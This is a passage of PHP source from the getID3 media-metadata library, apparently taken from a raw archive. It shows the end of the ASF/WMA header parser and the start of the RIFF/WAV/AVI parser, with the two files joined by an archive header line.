		$GUIDstring .= str_pad(dechex(ord($Bytestring{4})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring{7})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{6})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring{8})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{9})),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring{10})), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{11})), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{12})), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{13})), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{14})), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring{15})), 2, '0', STR_PAD_LEFT);

		return strtoupper($GUIDstring);
	}

	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
		// FILETIME is a 64-bit unsigned integer representing
		// the number of 100-nanosecond intervals since January 1, 1601
		// UNIX timestamp is number of seconds since January 1, 1970
		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
		if ($round) {
			return intval(round(($FILETIME - 116444736000000000) / 10000000));
		}
		return ($FILETIME - 116444736000000000) / 10000000;
	}

	public static function WMpictureTypeLookup($WMpictureType) {
		static $lookup = null;
		if ($lookup === null) {
			$lookup = array(
				0x03 => 'Front Cover',
				0x04 => 'Back Cover',
				0x00 => 'User Defined',
				0x05 => 'Leaflet Page',
				0x06 => 'Media Label',
				0x07 => 'Lead Artist',
				0x08 => 'Artist',
				0x09 => 'Conductor',
				0x0A => 'Band',
				0x0B => 'Composer',
				0x0C => 'Lyricist',
				0x0D => 'Recording Location',
				0x0E => 'During Recording',
				0x0F => 'During Performance',
				0x10 => 'Video Screen Capture',
				0x12 => 'Illustration',
				0x13 => 'Band Logotype',
				0x14 => 'Publisher Logotype'
			);
			$lookup = array_map(function($str) {
				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
			}, $lookup);
		}

		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
	}

	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
		// http://msdn.microsoft.com/en-us/library/bb643323.aspx

		$offset = 0;
		$objectOffset = 0;
		$HeaderExtensionObjectParsed = array();
		while ($objectOffset < strlen($asf_header_extension_object_data)) {
			$offset = $objectOffset;
			$thisObject = array();

			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
			$offset += 16;
			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);

			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
			$offset += 8;
			if ($thisObject['size'] <= 0) {
				break;
			}

			switch ($thisObject['guid']) {
				case GETID3_ASF_Extended_Stream_Properties_Object:
					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);

					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);

					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;
					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;

					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
						$streamName = array();

						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name']                   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']));
						$offset += $streamName['stream_name_length'];

						$thisObject['stream_names'][$i] = $streamName;
					}

					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
						$payloadExtensionSystem = array();

						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
						$offset += 16;
						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);

						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
							break 2;
						}

						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']));
						$offset += $payloadExtensionSystem['extension_system_info_length'];

						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
					}

					break;

				case GETID3_ASF_Padding_Object:
					// padding, skip it
					break;

				case GETID3_ASF_Metadata_Object:
					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
						$offset += 2;

						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];
						switch ($descriptionRecord['data_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0006: // GUID
								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
								break;
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Language_List_Object:
					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
						$languageIDrecord = array();

						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
						$offset += 1;

						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
						$offset += $languageIDrecord['language_id_length'];

						$thisObject['language_id_record'][$i] = $languageIDrecord;
					}
					break;

				case GETID3_ASF_Metadata_Library_Object:
					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];

						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
							foreach ($WMpicture as $key => $value) {
								$descriptionRecord['data'] = $WMpicture;
							}
							unset($WMpicture);
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				default:
					$unhandled_sections++;
					if ($this->GUIDname($thisObject['guid_text'])) {
						$this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8));
					}
					break;
			}
			$HeaderExtensionObjectParsed[] = $thisObject;

			$objectOffset += $thisObject['size'];
		}
		return $HeaderExtensionObjectParsed;
	}


	public static function metadataLibraryObjectDataTypeLookup($id) {
		static $lookup = array(
			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
		);
		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
	}

	public function ASF_WMpicture(&$data) {
		//typedef struct _WMPicture{
		//  LPWSTR  pwszMIMEType;
		//  BYTE  bPictureType;
		//  LPWSTR  pwszDescription;
		//  DWORD  dwDataLen;
		//  BYTE*  pbData;
		//} WM_PICTURE;

		$WMpicture = array();

		$offset = 0;
		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
		$offset += 1;
		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
		$offset += 4;

		$WMpicture['image_mime'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_mime'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['image_description'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_description'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['dataoffset'] = $offset;
		$WMpicture['data'] = substr($data, $offset);

		$imageinfo = array();
		$WMpicture['image_mime'] = '';
		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
		unset($imageinfo);
		if (!empty($imagechunkcheck)) {
			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
		}
		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
			$this->getid3->info['asf']['comments']['picture'] = array();
		}
		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);

		return $WMpicture;
	}


	// Remove terminator 00 00 and convert UTF-16LE to Latin-1
	public static function TrimConvert($string) {
		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
	}


	// Remove terminator 00 00
	public static function TrimTerm($string) {
		// remove terminator, only if present (it should be, but...)
		if (substr($string, -2) === "\x00\x00") {
			$string = substr($string, 0, -2);
		}
		return $string;
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.riff.php000060400000351423150750527150022440 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.riff.php                                 //
// module for analyzing RIFF files                             //
// multiple formats supported by this module:                  //
//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
// dependencies: module.audio.mp3.php                          //
//               module.audio.ac3.php                          //
//               module.audio.dts.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

/**
* @todo Parse AC-3/DTS audio inside WAVE correctly
* @todo Rewrite RIFF parser totally
*/

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);

class getid3_riff extends getid3_handler {

	protected $container = 'riff'; // default

	public function Analyze() {
		$info = &$this->getid3->info;

		// initialize these values to an empty array, otherwise they default to NULL
		// and you can't append array values to a NULL value
		$info['riff'] = array('raw'=>array());

		// Shortcuts
		$thisfile_riff             = &$info['riff'];
		$thisfile_riff_raw         = &$thisfile_riff['raw'];
		$thisfile_audio            = &$info['audio'];
		$thisfile_video            = &$info['video'];
		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
		$thisfile_riff_audio       = &$thisfile_riff['audio'];
		$thisfile_riff_video       = &$thisfile_riff['video'];

		$Original['avdataoffset'] = $info['avdataoffset'];
		$Original['avdataend']    = $info['avdataend'];

		$this->fseek($info['avdataoffset']);
		$RIFFheader = $this->fread(12);
		$offset = $this->ftell();
		$RIFFtype    = substr($RIFFheader, 0, 4);
		$RIFFsize    = substr($RIFFheader, 4, 4);
		$RIFFsubtype = substr($RIFFheader, 8, 4);

		switch ($RIFFtype) {

			case 'FORM':  // AIFF, AIFC
				//$info['fileformat']   = 'aiff';
				$this->container = 'aiff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				break;

			case 'RIFF':  // AVI, WAV, etc
			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
				//$info['fileformat']   = 'riff';
				$this->container = 'riff';
				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
				if ($RIFFsubtype == 'RMP3') {
					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
					$RIFFsubtype = 'WAVE';
				}
				if ($RIFFsubtype != 'AMV ') {
					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
					// Handled separately in ParseRIFFAMV()
					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
				}
				if (($info['avdataend'] - $info['filesize']) == 1) {
					// LiteWave appears to incorrectly *not* pad actual output file
					// to nearest WORD boundary so may appear to be short by one
					// byte, in which case - skip warning
					$info['avdataend'] = $info['filesize'];
				}

				$nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
					try {
						$this->fseek($nextRIFFoffset);
					} catch (getid3_exception $e) {
						if ($e->getCode() == 10) {
							//$this->warning('RIFF parser: '.$e->getMessage());
							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
							break;
						} else {
							throw $e;
						}
					}
					$nextRIFFheader = $this->fread(12);
					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
						if (substr($nextRIFFheader, 0, 1) == "\x00") {
							// RIFF padded to WORD boundary, we're actually already at the end
							break;
						}
					}
					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
					$chunkdata = array();
					$chunkdata['offset'] = $nextRIFFoffset + 8;
					$chunkdata['size']   = $nextRIFFsize;
					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];

					switch ($nextRIFFheaderID) {
						case 'RIFF':
							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
							if (!isset($thisfile_riff[$nextRIFFtype])) {
								$thisfile_riff[$nextRIFFtype] = array();
							}
							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
							break;

						case 'AMV ':
							unset($info['riff']);
							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
							break;

						case 'JUNK':
							// ignore
							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
							break;

						case 'IDVX':
							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
							break;

						default:
							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
									break 2;
								}
							}
							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
							break 2;

					}

				}
				if ($RIFFsubtype == 'WAVE') {
					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
				}
				break;

			default:
				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
				return false;
		}

		$streamindex = 0;
		switch ($RIFFsubtype) {

			// http://en.wikipedia.org/wiki/Wav
			case 'WAVE':
				$info['fileformat'] = 'wav';

				if (empty($thisfile_audio['bitrate_mode'])) {
					$thisfile_audio['bitrate_mode'] = 'cbr';
				}
				if (empty($thisfile_audio_dataformat)) {
					$thisfile_audio_dataformat = 'wav';
				}

				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
				}
				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {

					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
						$this->error('Corrupt RIFF file: bitrate_audio == zero');
						return false;
					}
					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
					unset($thisfile_riff_audio[$streamindex]['raw']);
					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];

					$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
						$this->warning('Audio codec = '.$thisfile_audio['codec']);
					}
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];

					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
						$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
					}

					$thisfile_audio['lossless'] = false;
					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {

							case 0x0001:  // PCM
								$thisfile_audio['lossless'] = true;
								break;

							case 0x2000:  // AC-3
								$thisfile_audio_dataformat = 'ac3';
								break;

							default:
								// do nothing
								break;

						}
					}
					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
				}

				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {

					// shortcuts
					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];

					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));

					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));

					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
					}
					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
					}
				}

				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));

					// This should be a good way of calculating exact playtime,
					// but some sample files have had incorrect number of samples,
					// so cannot use this method

					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
					// }
				}
				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
				}

				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];

					$thisfile_riff_WAVE_bext_0['title']          =                         trim(substr($thisfile_riff_WAVE_bext_0['data'],   0, 256));
					$thisfile_riff_WAVE_bext_0['author']         =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 256,  32));
					$thisfile_riff_WAVE_bext_0['reference']      =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 288,  32));
					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
